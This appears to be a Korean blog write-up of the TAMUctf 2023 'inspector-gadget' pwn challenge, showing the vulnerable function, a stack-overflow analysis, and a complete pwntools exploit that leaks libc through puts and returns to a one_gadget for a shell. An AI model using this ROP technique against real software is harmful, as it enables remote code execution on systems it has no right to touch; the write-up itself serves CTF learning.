728x90
반응형
1. intro
2. code 및 분석
2.1. code
ssize_t pwnme()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF
puts("pwn me");
return read(0, buf, 0x60uLL);
}
2.2. 분석
main 함수는 pwnme 함수를 불러오는 역할만 하기에 패스.
16바이트 버퍼에 0x60 바이트를 입력 받기 때문에 오버플로우가 발생한다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
단순 오버플로우
3.2. 공격 준비
문제 파일과 함께 libc 파일도 주어지기 때문에 pwnme 함수 종료 시 onegadget으로 return 해주었다.
다만, 한번만 입력할 수 있으며, libc 영역 leak이 필요하기 때문에 페이로드 초기에는 leak 후 main으로 return 하였고,
이후 onegadget address로 return 하였다.
4. exploit
from pwn import *
p = remote("tamuctf.com", 443, ssl=True, sni="inspector-gadget")
#p = process('./inspector-gadget')
e = ELF('./inspector-gadget', checksec = False)
ogt_offset = [280959, 281043, 938758]
rdi = 0x000000000040127b
rsi = 0x0000000000401279
pay = b'A'*(8*3)
pay += p64(e.symbols['main'])
p.sendlineafter(b'pwn me\n', pay)
pay = b'A'*(8*3)
pay += p64(rdi) + p64(e.got['puts'])
pay += p64(e.plt['puts'])
pay += p64(e.symbols['main'])
p.sendlineafter(b'pwn me\n', pay)
leak = u64(p.recvline()[:-1].ljust(8,b'\x00'))
libc_base = leak - 0x71a40
ogt = libc_base + ogt_offset[1]
pay = b'A'*(8*3)
pay += p64(ogt)
p.sendlineafter(b'pwn me\n', pay)
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
TAMUctf 2023 - Pwnme (0) | 2023.05.01 |
---|---|
TAMUctf 2023 - Pointer (0) | 2023.05.01 |
TAMUctf 2023 - Sea Shells (0) | 2023.05.01 |
TAMUctf 2023 - Unlucky (0) | 2023.05.01 |
Dreamhack CTF Season 3 Round #2 (🌱Div2) - baby-linux (0) | 2023.04.22 |